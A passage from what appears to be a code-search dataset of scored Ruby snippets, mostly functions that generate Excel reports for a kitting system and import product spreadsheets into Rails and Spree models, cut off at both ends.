Order\",format)\n worksheet_completed_sos_kits.write(@row_value_completed_sos_kits, 2,\"Created By\",format)\n worksheet_completed_sos_kits.write(@row_value_completed_sos_kits, 3,\"Updated At\",format)\n worksheet_completed_sos_kits.write(@row_value_completed_sos_kits, 4,\"Queue\",format)\n worksheet_completed_sos_kits.write(@row_value_completed_sos_kits, 5,\"Kit Bin Center\",format)\n worksheet_completed_sos_kits.write(@row_value_completed_sos_kits, 6,\"Kit Description\",format)\n worksheet_completed_sos_kits.write(@row_value_completed_sos_kits, 7,\"Media Type\",format)\n\n # loop for bin center parts data to show in table\n completed_sos_kits_in_process = Kitting::KitFilling.find_by_sql([\"SELECT KITS.CUSTOMER_KIT_PART_NUMBER AS Kit_Number,\n Work_Orders.order_number As Work_Order,\n KIT_FILLINGS.CREATED_BY,\n KIT_FILLINGS.UPDATED_AT,\n LOCATIONS.NAME AS QUEUE_Name,\n KITS.BINCENTER AS KIT_Bin_Center,\n KITS.DESCRIPTION AS KIT_Description,\n KIT_MEDIA_TYPES.NAME AS MEDIA_Type\n FROM KIT_FILLINGS INNER JOIN KIT_WORK_ORDERS\n ON KIT_FILLINGS.KIT_WORK_ORDER_ID = KIT_WORK_ORDERS.ID\n INNER JOIN LOCATIONS\n ON LOCATIONS.ID = KIT_FILLINGS.LOCATION_ID\n INNER JOIN KITS\n ON KIT_WORK_ORDERS.KIT_ID = KITS.ID\n INNER JOIN WORK_ORDERS\n ON KIT_WORK_ORDERS.WORK_ORDER_ID = WORK_ORDERS.ID\n INNER JOIN KIT_MEDIA_TYPES\n ON KITS.KIT_MEDIA_TYPE_ID = KIT_MEDIA_TYPES.ID\n WHERE KIT_FILLINGS.CREATED_BY = ?\n AND KIT_FILLINGS.FILLED_STATE = ?\n AND KIT_FILLINGS.LOCATION_ID = (SELECT id FROM LOCATIONS WHERE name= 'SOS Queue')\n ORDER BY Kit_Number,Work_Order\",\n current_customer.cust_no,\n 1])\n completed_sos_kits_in_process.each_with_index do |kit|\n @row_value_completed_sos_kits = @row_value_completed_sos_kits + 1\n worksheet_completed_sos_kits.write(@row_value_completed_sos_kits,0,kit[\"kit_number\"])\n worksheet_completed_sos_kits.write(@row_value_completed_sos_kits,1,kit[\"work_order\"])\n worksheet_completed_sos_kits.write(@row_value_completed_sos_kits,2,kit.created_by)\n worksheet_completed_sos_kits.write(@row_value_completed_sos_kits,3,kit.updated_at.strftime(\"%Y-%m-%d %I:%M%p\"))\n worksheet_completed_sos_kits.write(@row_value_completed_sos_kits,4,kit[\"queue_name\"])\n worksheet_completed_sos_kits.write(@row_value_completed_sos_kits,5,kit[\"kit_bin_center\"])\n worksheet_completed_sos_kits.write(@row_value_completed_sos_kits,6,kit[\"kit_description\"])\n worksheet_completed_sos_kits.write(@row_value_completed_sos_kits,7,kit[\"media_type\"])\n @row_value_completed_sos_kits = @row_value_completed_sos_kits+0\n worksheet_completed_sos_kits.write(@row_value_completed_sos_kits, border)\n end\n else\n worksheet_completed_sos_kits.write(@row_value_completed_sos_kits, 0,\"Kit Copy\",format)\n worksheet_completed_sos_kits.write(@row_value_completed_sos_kits, 1,\"Created By\",format)\n worksheet_completed_sos_kits.write(@row_value_completed_sos_kits, 2,\"Updated At\",format)\n worksheet_completed_sos_kits.write(@row_value_completed_sos_kits, 3,\"Queue\",format)\n worksheet_completed_sos_kits.write(@row_value_completed_sos_kits, 4,\"Kit Bin Center\",format)\n worksheet_completed_sos_kits.write(@row_value_completed_sos_kits, 5,\"Kit Description\",format)\n worksheet_completed_sos_kits.write(@row_value_completed_sos_kits, 6,\"Media Type\",format)\n\n # loop for bin center parts data to show in table\n completed_sos_kits_in_process = Kitting::KitFilling.find_by_sql([\"SELECT KIT_COPIES.KIT_VERSION_NUMBER AS Kit_Copy,\n KIT_FILLINGS.CREATED_BY,\n KIT_FILLINGS.UPDATED_AT,\n LOCATIONS.NAME AS QUEUE_Name,\n KITS.BINCENTER AS KIT_Bin_Center,\n KITS.DESCRIPTION AS KIT_Description,\n KIT_MEDIA_TYPES.NAME AS MEDIA_Type\n FROM KIT_FILLINGS INNER JOIN KIT_COPIES\n ON KIT_FILLINGS.KIT_COPY_ID = KIT_COPIES.ID\n INNER JOIN LOCATIONS\n ON LOCATIONS.ID = KIT_FILLINGS.LOCATION_ID\n INNER JOIN KITS\n ON KIT_COPIES.KIT_ID = KITS.ID\n INNER JOIN KIT_MEDIA_TYPES\n ON KITS.KIT_MEDIA_TYPE_ID = KIT_MEDIA_TYPES.ID\n WHERE KIT_FILLINGS.CREATED_BY = ?\n AND KIT_FILLINGS.FILLED_STATE = ?\n AND KIT_FILLINGS.LOCATION_ID = (SELECT id FROM LOCATIONS WHERE name= 'SOS Queue')\n ORDER BY KIT_Copy\",\n current_customer.cust_no,\n 1])\n completed_sos_kits_in_process.each_with_index do |kit|\n @row_value_completed_sos_kits = @row_value_completed_sos_kits + 1\n worksheet_completed_sos_kits.write(@row_value_completed_sos_kits,0,kit[\"kit_copy\"])\n worksheet_completed_sos_kits.write(@row_value_completed_sos_kits,1,kit.created_by)\n worksheet_completed_sos_kits.write(@row_value_completed_sos_kits,2,kit.updated_at.strftime(\"%Y-%m-%d %I:%M%p\"))\n worksheet_completed_sos_kits.write(@row_value_completed_sos_kits,3,kit[\"queue_name\"])\n worksheet_completed_sos_kits.write(@row_value_completed_sos_kits,4,kit[\"kit_bin_center\"])\n worksheet_completed_sos_kits.write(@row_value_completed_sos_kits,5,kit[\"kit_description\"])\n worksheet_completed_sos_kits.write(@row_value_completed_sos_kits,6,kit[\"media_type\"])\n @row_value_completed_sos_kits = @row_value_completed_sos_kits+0\n worksheet_completed_sos_kits.write(@row_value_completed_sos_kits, border)\n end\n end\n\n workbook.close\n send_file Rails.public_path+\"/excel/SOS Kits In Process Report.xls\",\n :disposition => \"attachment\"\n else\n redirect_to main_app.unauthorized_url\n end\n end", "title": "" }, { "docid": "d3a0ef4265a9f26e682fcc9e82abf2ca", "score": "0.538577", "text": "def load_file full_name\n cr_count = 0\n rows = CSV.read( full_name , {:col_sep=>\"\\t\",:quote_char=>\"\\t\"} )\n\n if IMPORT_PRODUCT_SETTINGS[:first_row_is_headings]\n col = get_column_mappings(rows[0])\n else\n col = IMPORT_PRODUCT_SETTINGS[:column_mappings]\n end\n\n log(\"Importing products for #{full_name} began at #{Time.now}\")\n log(\"Elements for import in file:#{rows.size}\")\n rows[IMPORT_PRODUCT_SETTINGS[:rows_to_skip]..-1].each do |row|\n #rows[0..10].each do |row|\n\n product_information = {}\n\n #Automatically map 'mapped' fields to a collection of product information.\n #NOTE: This code will deal better with the auto-mapping function - i.e. if there\n #are named columns in the spreadsheet that correspond to product\n # and variant field names.\n\n col.each do |key, value|\n #Trim whitespace off the beginning and end of row fields\n row[value].try :strip!\n product_information[key] = row[value]\n end\n\n #Manually set available_on if it is not already set\n product_information[:available_on] = Date.today - 1.day if product_information[:available_on].nil?\n product_information[:master_price] = product_information[:cost_price].to_f*product_information[:margin].to_f\n product_information[:permalink] = create_permalink_url(product_information[:name].clone, product_information[:sku])\n\n #log(\"#{pp product_information}\")\n\n # распределение по моим таксонам\n #my_real_taxonomies = Spree::Taxon.select(:name).where(\"parent_id IS NOT NULL\")\n\n taxons = Spree::Taxon.all\n if product_information[:category]\n taxons.each do |_taxon|\n if product_information[:category].include? _taxon[:name]\n product_information[:tax] = _taxon\n product_information[:for_import] = true\n end\n end\n end\n\n\n\n variant_comparator_field = IMPORT_PRODUCT_SETTINGS[:variant_comparator_field].try :to_sym\n variant_comparator_column = col[variant_comparator_field]\n\n if IMPORT_PRODUCT_SETTINGS[:create_variants] and variant_comparator_column and\n p = Spree::Product.where(variant_comparator_field => row[variant_comparator_column]).first\n\n log(\"found product with this field #{variant_comparator_field}=#{row[variant_comparator_column]}\")\n p.update_attribute(:deleted_at, nil) if p.deleted_at #Un-delete product if it is there\n p.variants.each { |variant| variant.update_attribute(:deleted_at, nil) }\n create_variant_for(p, :with => product_information)\n else\n if product_information[:for_import] == true\n create_product_using(product_information)\n cr_count = cr_count+1\n else\n log(\"skip product becose #{product_information[:category]} not in our taxon \")\n end\n\n end\n end\n\n #if IMPORT_PRODUCT_SETTINGS[:destroy_original_products]\n # @products_before_import.each { |p| p.destroy }\n #end\n log(\"Importing products for #{full_name} completed at #{DateTime.now} imported #{cr_count} elements\")\n end", "title": "" }, { "docid": "1945c2da9bef57d8c66435caa1059d9c", "score": "0.5352352", "text": "def load_test_skus_from_db(db, sql)\n $tracer.trace(\"WebInStoreCommonDSL : #{__method__}, Line : #{__LINE__}\")\n out_of_stock = false\n low_stock = false\n $tracer.trace(\"Gets the info of first SKU from database. ----#{sql}\")\n results_from_file = db.exec_sql_from_file(\"#{sql}\")\n sku = results_from_file.at(0).SKU\n if results_from_file.at(0).OnHandQuantity < 10\n if results_from_file.at(0).OnHandQuantity == 0\n out_of_stock = true\n else\n low_stock = true\n end\n end\n return sku, out_of_stock, low_stock\n end", "title": "" }, { "docid": "faae1af8fdf9fa9e8d2c80642948c937", "score": "0.5347161", "text": "def read_inspection_into_DB(spreadsheet, file_name, product_id, production_id)\n y ='A'\n offset = 10\n page_offset = 10\n last_col = spreadsheet.last_column\n page = 1\n no_more = false\n changed = false\n while !no_more do\n if read_one_page_inspection_into_DB(y, spreadsheet, file_name, product_id, production_id)\n changed = true\n end\n\n for i in 1..offset do\n y.next!\n end\n\n if col_num(y) > last_col - page_offset * (page - 1)\n no_more = true\n break\n end\n page += 1\n\n end # while\n\n end", "title": "" }, { "docid": "1866ad05bec570bdecb28f10602aad04", "score": "0.53110033", "text": "def import_products(product_file)\n\n # Check if has file\n if product_file.nil?\n return\n end\n\n # Open workbook\n workbook = open_spreadsheet(product_file)\n\n headers = Hash.new\n workbook.row(1).each_with_index { |header, i|\n headers[header.downcase] = i\n }\n\n # Import products is in one transaction\n ActiveRecord::Base.transaction do\n\n ((workbook.first_row + 1)..workbook.last_row).each do |i|\n\n manufacturer_header_name = headers['bg manufacturer'].blank? ? headers['manufacturer'] : headers['bg manufacturer']\n if workbook.row(i)[manufacturer_header_name].nil?\n next\n end\n\n # Init manufacturer\n manufacturer_name = workbook.row(i)[manufacturer_header_name].strip\n manufacturer = Manufacturer.where('lower(name) = ?', manufacturer_name.downcase).first\n if manufacturer.nil?\n manufacturer = Manufacturer.create!(name: manufacturer_name)\n end\n\n # Init category\n category_header_name = headers['bg category'].blank? ? headers['category'] : headers['bg category']\n category_name = workbook.row(i)[category_header_name].strip\n category = Category.where('lower(name) = ?', category_name.downcase).first\n if category.nil?\n category = Category.create!(name: category_name)\n end\n\n # Init subcategory\n subcategory_header_name = headers['bg subcategory'].blank? ? headers['subcategory'] : headers['bg subcategory']\n subcategory_name = workbook.row(i)[subcategory_header_name]\n unless subcategory_name.blank?\n subcategory_name = subcategory_name.strip\n subcategory = Category.where('lower(name) = ?', subcategory_name.downcase).first\n if subcategory.nil?\n subcategory = Category.create!(name: subcategory_name, parent_id: category.id)\n end\n end\n\n # Init manufacturer\n stock_status_header_name = headers['bg stock status'].blank? ? headers['stock status'] : headers['bg stock status']\n stock_status_name = workbook.row(i)[stock_status_header_name]\n unless stock_status_name.nil? || stock_status_name.blank?\n stock_status_name = stock_status_name.strip\n stock_status = StockStatus.where('lower(name) = ?', stock_status_name.downcase).first\n if stock_status.nil?\n stock_status = StockStatus.create!(name: stock_status_name)\n end\n end\n\n # Create or update product\n name = workbook.row(i)[headers['name']].strip\n product = Product.find_or_create_by(name: name)\n product.update_attributes!(\n name: workbook.row(i)[headers['bg name'].blank? ? headers['name'] : headers['bg name']].strip,\n full_name: workbook.row(i)[headers['bg full name'].blank? ? headers['full name'] : headers['bg full name']].strip,\n benefits: workbook.row(i)[headers['bg benefits'].blank? ? headers['benefits'] : headers['bg benefits']],\n description: workbook.row(i)[headers['bg description'].blank? ? headers['description'] : headers['bg description']],\n ingredients: workbook.row(i)[headers['bg ingredients'].blank? ? headers['ingredients'] : headers['bg ingredients']],\n direction: workbook.row(i)[headers['bg direction'].blank? ? headers['direction'] : headers['bg direction']],\n stock_status_id: stock_status.id,\n price: workbook.row(i)[headers['bg price'].blank? ? headers['price'] : headers['bg price']].to_f,\n quantity: workbook.row(i)[headers['bg quantity'].blank? ? headers['quantity'] : headers['bg quantity']].to_i,\n is_best_seller: !workbook.row(i)[headers['best seller']].blank? && workbook.row(i)[headers['best seller']].downcase == 'true',\n questions_answers: workbook.row(i)[headers['bg questions & answers'].blank? ? headers['questions & answers'] : headers['bg questions & answers']],\n manufacturer_id: manufacturer.id,\n categories: subcategory.nil? ? [category] : [subcategory])\n end\n\n end\n end", "title": "" }, { "docid": "5509862f021f08c35bbc969363a292f7", "score": "0.5298216", "text": "def fetch_excel_data\n\n # Bvmr.transaction do\n # Bvmr.destroy_all\n # end\n\n ex = Roo::Excel.new(\"./public/samplereport.xls\")\n # ex.default_sheet = ex.sheets[0] #Mention the sheet number\n ex.default_sheet = ex.sheets[0]\n (2..ex.last_row).each do |line| #start and end of row\n od = ex.cell(line,'C')\n sale = ex.cell(line,'F') \n\n @sample = Sample.create(:order_date => od,:sales => sale)\n\n end\n end", "title": "" }, { "docid": "d74db21a4a88794d2fe61bd0ff7f7b54", "score": "0.5273381", "text": "def show\n require 'spreadsheet'\n Spreadsheet.client_encoding = 'UTF-8'\n @product = Product.find(params[:id])\n #book=Spreadsheet.open \"app/assets/products/#{@product.name}.xls\"\n if FileTest.exists?(\"public/uploads/product/file/#{@product.id}/#{@product.name}.xls\")\n book=Spreadsheet.open \"public/uploads/product/file/#{@product.id}/#{@product.name}.xls\"\n @sheet=book.worksheet 0\n end\n \n @type=Type.find(@product.type)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @product }\n end\n end", "title": "" }, { "docid": "11bcdf30f58aa146e7d0f653412f56dc", "score": "0.52215064", "text": "def parse_setup\n rows = @xls.sheet('Setup').parse\n b_settings = false\n b_run_setup = false\n b_problem_setup = false\n b_algorithm_setup = false\n b_weather_files = false\n b_models = false\n b_other_libs = false\n b_worker_init = false\n b_worker_final = false\n\n rows.each do |row|\n if row[0] == 'Settings'\n b_settings = true\n b_run_setup = false\n b_problem_setup = false\n b_algorithm_setup = false\n b_weather_files = false\n b_models = false\n b_other_libs = false\n b_worker_init = false\n b_worker_final = false\n next\n elsif row[0] == 'Running Setup'\n b_settings = false\n b_run_setup = true\n b_problem_setup = false\n b_algorithm_setup = false\n b_weather_files = false\n b_models = false\n b_other_libs = false\n b_worker_init = false\n b_worker_final = false\n next\n elsif row[0] == 'Problem Definition'\n b_settings = false\n b_run_setup = false\n b_problem_setup = true\n b_algorithm_setup = false\n b_weather_files = false\n b_models = false\n b_other_libs = false\n b_worker_init = false\n b_worker_final = false\n next\n elsif row[0] == 'Algorithm Setup'\n b_settings = false\n b_run_setup = false\n b_problem_setup = false\n b_algorithm_setup = true\n b_weather_files = false\n b_models = false\n b_other_libs = false\n b_worker_init = false\n b_worker_final = false\n next\n elsif row[0] == 'Weather Files'\n b_settings = false\n b_run_setup = false\n b_problem_setup = false\n b_algorithm_setup = false\n b_weather_files = true\n b_models = false\n b_other_libs = false\n b_worker_init = false\n b_worker_final = false\n next\n elsif row[0] == 'Models'\n b_settings = false\n b_run_setup = false\n b_problem_setup = false\n b_algorithm_setup = false\n b_weather_files = false\n b_models = true\n b_other_libs = false\n b_worker_init = false\n b_worker_final = false\n next\n elsif row[0] == 'Other Library Files'\n b_settings = false\n b_run_setup = false\n b_problem_setup = false\n b_algorithm_setup = false\n b_weather_files = false\n b_models = false\n b_other_libs = true\n b_worker_init = false\n b_worker_final = false\n next\n elsif row[0] =~ /Worker Initialization Scripts/\n b_settings = false\n b_run_setup = false\n b_problem_setup = false\n b_algorithm_setup = false\n b_weather_files = false\n b_models = false\n b_other_libs = false\n b_worker_init = true\n b_worker_final = false\n next\n elsif row[0] =~ /Worker Finalization Scripts/\n b_settings = false\n b_run_setup = false\n b_problem_setup = false\n b_algorithm_setup = false\n b_weather_files = false\n b_models = false\n b_other_libs = false\n b_worker_init = false\n b_worker_final = true\n next\n end\n\n next if row[0].nil?\n\n if b_settings\n @version = row[1].chomp if row[0] == 'Spreadsheet Version'\n @settings[row[0].to_underscore.to_s] = row[1] if row[0]\n if @settings['cluster_name']\n @settings['cluster_name'] = @settings['cluster_name'].to_underscore\n end\n\n if row[0] == 'AWS Tag'\n @aws_tags << row[1].strip\n end\n\n # type some of the values that we know\n @settings['proxy_port'] = @settings['proxy_port'].to_i if @settings['proxy_port']\n\n elsif b_run_setup\n if row[0] == 'Analysis Name'\n if row[1]\n @name = row[1]\n else\n @name = SecureRandom.uuid\n end\n @analysis_name = @name.to_underscore\n end\n if row[0] == 'Export Directory'\n tmp_filepath = row[1]\n if (Pathname.new tmp_filepath).absolute?\n @export_path = tmp_filepath\n else\n @export_path = File.expand_path(File.join(@root_path, tmp_filepath))\n end\n end\n if row[0] == 'Measure Directory'\n tmp_filepath = row[1]\n if (Pathname.new tmp_filepath).absolute?\n @measure_paths << tmp_filepath\n else\n @measure_paths << File.expand_path(File.join(@root_path, tmp_filepath))\n end\n end\n @run_setup[row[0].to_underscore.to_s] = row[1] if row[0]\n\n # type cast\n if @run_setup['allow_multiple_jobs']\n raise 'allow_multiple_jobs is no longer a valid option in the Excel file, please delete the row and rerun'\n end\n if @run_setup['use_server_as_worker']\n raise 'use_server_as_worker is no longer a valid option in the Excel file, please delete the row and rerun'\n end\n elsif b_problem_setup\n if row[0]\n v = row[1]\n v.to_i if v % 1 == 0\n @problem[row[0].to_underscore.to_s] = v\n end\n\n elsif b_algorithm_setup\n if row[0] && !row[0].empty?\n v = row[1]\n v = v.to_i if v % 1 == 0\n @algorithm[row[0].to_underscore.to_s] = v\n end\n elsif b_weather_files\n if row[0] == 'Weather File'\n weather_path = row[1]\n unless (Pathname.new weather_path).absolute?\n weather_path = File.expand_path(File.join(@root_path, weather_path))\n end\n @weather_paths << weather_path\n @weather_files += Dir.glob(weather_path)\n end\n elsif b_models\n if row[1]\n tmp_m_name = row[1]\n else\n tmp_m_name = SecureRandom.uuid\n end\n # Only add models if the row is flagged\n if row[0]&.casecmp('model')&.zero?\n model_path = row[3]\n unless (Pathname.new model_path).absolute?\n model_path = File.expand_path(File.join(@root_path, model_path))\n end\n @models << { name: tmp_m_name.to_underscore, display_name: tmp_m_name, type: row[2], path: model_path }\n end\n elsif b_other_libs\n # determine if the path is relative\n other_path = row[2]\n unless (Pathname.new other_path).absolute?\n other_path = File.expand_path(File.join(@root_path, other_path))\n end\n\n @other_files << { lib_zip_name: row[1], path: other_path }\n elsif b_worker_init\n worker_init_path = row[1]\n unless (Pathname.new worker_init_path).absolute?\n worker_init_path = File.expand_path(File.join(@root_path, worker_init_path))\n end\n\n @worker_inits << { name: row[0], path: worker_init_path, args: row[2] }\n elsif b_worker_final\n worker_final_path = row[1]\n unless (Pathname.new worker_final_path).absolute?\n worker_final_path = File.expand_path(File.join(@root_path, worker_final_path))\n end\n\n @worker_finals << { name: row[0], path: worker_final_path, args: row[2] }\n end\n\n next\n end\n\n # do some last checks\n @measure_paths = ['./measures'] if @measure_paths.empty?\n end", "title": "" }, { "docid": "9b4f699aa31234377f226d87e0708fdb", "score": "0.5213283", "text": "def create_quick_price_scenario_import\n @session.click_link('Scenarios')\n @session.click_link('Create Scenario')\n @session.click_link('Quick Price Scenario')\n @session.click_button(IMPORT_1003_BTN_XPATH,wait:5)\n @session.select 'QA Seller',from:IMPORT_ORG_UNIT_ID\n @session.attach_file(IMPORT_UPLOAD_BTN_ID,File.absolute_path(\"./features/files/CLEAN.xml\"))\n @session.click_button(IMPORT_CONTINUE_BTN_ID)\n @session.has_link?('Pre-Register Loan')\n @session.fill_in FICO_SCORE_ID, :with => 850\n @session.select 'Conforming 30 Year Fixed', from:PROD_TYPE_ID\n @session.select 'DU', from:AUS_ID\n @session.select 'Approve Eligible', from:AUS_NAME_ID\n @session.select 'Best Effort', from:DELIVERY_TYPE_ID\n @session.select 'Released', from:SERVICING_TYPE_ID\n @session.choose(BANKRUPTCY_NAME, option: false)\n @session.fill_in BORROWER_DOWN_ID, :with => 20\n @session.fill_in SELLER_CONTR_ID , :with => 2\n @session.fill_in MONTHS_RESERVE_NAME, :with => 2\n @session.choose('isInterestOnly', option: false)\n @session.choose(ESCROW_WAIVED_NAME, option: false)\n @session.choose(MORT_INSURNCE_NAME, option: false)\n @session.choose(FIRST_HOME_BUYER_NAME, option: true)\n @session.select '30 Days', from:LOCK_PERIOD_ID\n # @session.choose(NON_PERM_RES_NAME, option: false)\n # @session.select 'APPLING', from:COUNTY_ID\n if(@session.has_text?('Loan is eligible'))\n puts \"Loan is eligible\"\n elsif(@session.has_text?('Complete required fields for eligibility check'))\n raise 'Did not complete required fields for eligibility check'\n else\n puts \"Loan is not eligible\"\n end\n # if(@session.has_text?('Loan is eligible'))\n # best_price = @session.find_button('Click for Best Price')\n # best_price.click\n # while best_price.disabled?\n # end\n # end\n @session.click_button('Save')\n @session.has_xpath?(SCENARIO_NAME_XPATH)\n $today_date_and_time = Time.now.strftime(\"%m%d%y%H%M%S\")\n $qp_scenario_name = \"QPS#{$today_date_and_time}\"\n @session.first(:xpath, SCENARIO_NAME_XPATH).set $qp_scenario_name\n @session.find_by_id(SAVE_SCENARIO_ID).click\n if @session.has_link? $qp_scenario_name\n puts \"QuickPrice Scenario has been successfully created - #{$qp_scenario_name}\"\n else\n puts 'QuickPrice Scenario is not created'\n end\n return $qp_scenario_name\n end", "title": "" }, { "docid": "6f68c9bb1f5adb5bc064fd6a3a28e1b8", "score": "0.5114315", "text": "def newly_designed_kits\n if can?(:>=, \"2\")\n headers['Content-Type'] = \"application/vnd.ms-excel\"\n headers['Content-Disposition'] = \"attachment; filename=Newly Designed Kits Report.xls\"\n headers['Cache-Control'] = ''\n\n # code to create xls file\n require 'writeexcel'\n workbook = WriteExcel.new(Rails.public_path+\"/excel/Newly Designed Kits Report.xls\")\n worksheet = workbook.add_worksheet(\"newly_designed_kits\")\n\n format = workbook.add_format\n border = workbook.add_format\n header = workbook.add_format\n\n format.set_bold\n border.set_bottom(1)\n header.set_bold\n header.set_header('Big')\n\n\n @row_value = 0\n @col_value = 0\n # create a table in xls file\n\n worksheet.set_column(0, 0, 20)\n worksheet.set_column(0, 1, 20)\n worksheet.set_column(0, 2, 20)\n worksheet.set_column(0, 3, 20)\n worksheet.set_column(0, 4, 20)\n worksheet.set_column(0, 5, 20)\n worksheet.set_column(0, 6, 20)\n worksheet.set_column(0, 7, 20)\n worksheet.set_column(0, 8, 20)\n worksheet.set_column(0, 9, 20)\n worksheet.set_column(0, 10, 20)\n\n worksheet.write(@row_value, 0,\"Newly Designed Kits Report\",format)\n @row_value = @row_value+2\n worksheet.write(@row_value, 0,\"Customer Number\",format)\n worksheet.write(@row_value, 1,\"Kit Number\",format)\n worksheet.write(@row_value, 2,\"Created by\",format)\n worksheet.write(@row_value, 3,\"Kit Bin Center\", format)\n worksheet.write(@row_value, 4,\"Part Bin Center\",format)\n worksheet.write(@row_value, 5,\"Time\",format)\n worksheet.write(@row_value, 6,\"Date\",format)\n # loop for bin center parts data to show in table\n\n if ((params[\"newly_designed_kits_begin_date\"]) == \"\") || ((params[\"newly_designed_kits_end_date\"] == \"\"))\n @kit = Kitting::Kit.where(:cust_no => session[:customer_number], :commit_status => 1, :commit_id => nil)\n else\n @kit = Kitting::Kit.where(:cust_no => session[:customer_number], :commit_status => 1, :commit_id => nil,:created_at => (Date.strptime(params[\"newly_designed_kits_begin_date\"].to_s, \"%m%d%Y\").midnight)..Date.strptime(params[\"newly_designed_kits_end_date\"].to_s, \"%m%d%Y\").midnight + 1.day).includes(:customer).order('created_at asc')\n end\n @kit.each_with_index do |kit|\n if kit.blank?\n \"Not Available\"\n else\n @row_value = @row_value + 1\n worksheet.write(@row_value,0,session[\"customer_number\"])\n if kit.category == \"AD HOC\"\n worksheet.write(@row_value,1,kit.customer_kit_part_number)\n else\n worksheet.write(@row_value,1,kit.kit_number)\n end\n worksheet.write(@row_value,2,kit.customer.user_name)\n worksheet.write(@row_value,3,kit.bincenter)\n worksheet.write(@row_value,4,kit.part_bincenter)\n worksheet.write(@row_value,5,kit.created_at.strftime(\"%I:%M%p\"))\n worksheet.write(@row_value,6,kit.created_at.to_date)\n @row_value = @row_value+0\n worksheet.write(@row_value, border)\n end\n end\n workbook.close\n send_file Rails.public_path+\"/excel/Newly Designed Kits Report.xls\",\n :disposition => \"attachment\"\n else\n redirect_to main_app.unauthorized_url\n end\n end", "title": "" }, { "docid": "fbfd377ad7fc7e8ffd17d0d7f7b16404", "score": "0.5097689", "text": "def download\n unless File.exists?(\"complete_files\")\n Dir.mkdir(\"complete_files\");\n end\n\n etis = RubyXL::Workbook.new\n etis_worksheet = etis[0]\n etis_worksheet.sheet_name = 'Uniqs'\n etis_worksheet.add_cell(0, 0, \"ID #\")\n etis_worksheet.add_cell(0, 1, \"Uniq\")\n\n cvhs = RubyXL::Workbook.new\n cvhs_worksheet = cvhs[0]\n cvhs_worksheet.sheet_name = 'Assignments'\n cvhs_worksheet.add_cell(0, 0, \"Last Name\")\n cvhs_worksheet.add_cell(0, 1, \"First Name\")\n cvhs_worksheet.add_cell(0, 2, \"ID #\")\n cvhs_worksheet.add_cell(0, 3, \"Building #\")\n cvhs_worksheet.add_cell(0, 4, \"Locker #\")\n cvhs_worksheet.change_column_width(0, 20)\n cvhs_worksheet.change_column_width(1, 10)\n\n\n etis_counter = 1\n cvhs_counter = 1\n\n CvhsLocker.all.each do |locker|\n etis_worksheet.add_cell(etis_counter, 0, locker.studentID1)\n etis_worksheet.add_cell(etis_counter, 1, locker.locker_unique)\n etis_counter += 1\n\n cvhs_worksheet.add_cell(cvhs_counter, 0, locker.lastName1)\n cvhs_worksheet.add_cell(cvhs_counter, 1, locker.name1)\n cvhs_worksheet.add_cell(cvhs_counter, 2, locker.studentID1)\n cvhs_worksheet.add_cell(cvhs_counter, 3, locker.buildingNum)\n cvhs_worksheet.add_cell(cvhs_counter, 4, locker.lockerNum)\n cvhs_counter += 1\n if locker.name2 != \"\"\n etis_worksheet.add_cell(etis_counter, 0, locker.studentID2)\n etis_worksheet.add_cell(etis_counter, 1, locker.locker_unique)\n etis_counter += 1\n\n cvhs_worksheet.add_cell(cvhs_counter, 0, locker.lastName2)\n cvhs_worksheet.add_cell(cvhs_counter, 1, locker.name2)\n cvhs_worksheet.add_cell(cvhs_counter, 2, locker.studentID2)\n cvhs_worksheet.add_cell(cvhs_counter, 3, locker.buildingNum)\n cvhs_worksheet.add_cell(cvhs_counter, 4, locker.lockerNum)\n cvhs_counter += 1\n end\n end\n\n\n etis.write(\"complete_files/ETIS Locker Sheet.xlsx\")\n cvhs.write(\"complete_files/CVHS Locker Sheet.xlsx\")\n\n compress(File.join(Rails.root, \"complete_files\"))\n send_file File.join(Rails.root, \"complete_files\" , \"complete_files.zip\")\n end", "title": "" }, { "docid": "fa25509dbc7b51e38a54530755fd69d4", "score": "0.5076479", "text": "def read_usmart\r\n \r\n end", "title": "" }, { "docid": "5d1d752b12ec163002643c98b6f930d0", "score": "0.507173", "text": "def slurp_variants(prod , index)\n return index unless is_line_variant?(prod.sku , index ) \n #need an option type to create options, create dumy for now\n prod_row = @data[index - 1]\n option = at_in( :option , prod_row )\n option = prod.name unless option\n puts \"Option type -#{option}-\"\n option_type = OptionType.find_or_create_by_name_and_presentation(option , option) \n product_option_type = ProductOptionType.new(:product => prod, :option_type => option_type)\n product_option_type.save!\n prod.reload\n while is_line_variant?(prod.sku , index )\n puts \"variant slurp index \" + index.to_s\n row = @data[index]\n option_value = at_in( :option , row )\n option_value = at_in( :name , row ) unless option_value\n puts \"variant option -#{option_value}-\"\n option_value = OptionValue.create( :name => option_value, :presentation => option_value,\n :option_type => option_type )\n variant = Variant.create( :product => prod ) # create the new variant\n variant.option_values << option_value # add the option value\n set_attributes_and_image( variant , row ) #set price and the other stuff\n prod.variants << variant #add the variant (not sure if needed)\n index += 1\n end\n return index \n end", "title": "" }, { "docid": "76830dfe8693a37b35c4b79f6acb4898", "score": "0.5061435", "text": "def process_handbook_spec_file(spec_file)\n if File.exist?(spec_file)\n doc = Nokogiri::HTML(File.open(spec_file))\n tables = doc.css(\"table\")\n title = \"\"\n t_table = \"\"\n item = \"\"\n value = \"\"\n counter = 0\n t_end = 0\n tables.each do |table|\n if !table.to_s.match(/Oracle System Handbook|Current Systems|Former STK Products|EOL Systems|Components|General Info|Cancel/)\n rows = table.css(\"td\")\n rows.each do |row|\n t_row = []\n if row.to_s.match(/name/) and row.to_s.match(/sshtablecaption/) and !row.to_s.match(/label[A-z]/)\n title = row.css(\"b\").text.gsub(/\\n/,\"\").gsub(/\\s+/,\" \")\n if title.match(/[A-z]/)\n if t_table\n handle_output(t_table)\n handle_output(\"\\n\")\n t_end = 0\n end\n if title == \"Rack Mounting\" or title == \"Power Supplies\"\n t_table = Terminal::Table.new :title => title\n else\n t_table = Terminal::Table.new :title => title, :headings => [ 'Item', 'Value' ]\n counter = 0\n end\n end\n else\n if title\n if title.match(/[A-z]/)\n if row.to_s.match(/[A-z]/) and !row.to_s.match(/label[A-z]/)\n text = row.text.gsub(/^\\n|\\t/,\"\").gsub(/\\s+/,\" \").gsub(/^\\s+/,\"\")\n if !text.match(/^x4$|^x8$|^[0-9]$|^x16$/)\n length = text.length\n if length > 70\n text = text.gsub(/(.{1,78})(\\s+|\\Z)/, \"\\\\1\\n\")\n end\n if counter == 0\n if !row.next_element.to_s.match(/[A-z]/) and t_end == 0\n t_row = [ text ]\n t_table.add_row(t_row)\n else\n if title == \"Rack Mounting\"\n if text.match(/Drive/)\n t_end = 1\n end\n 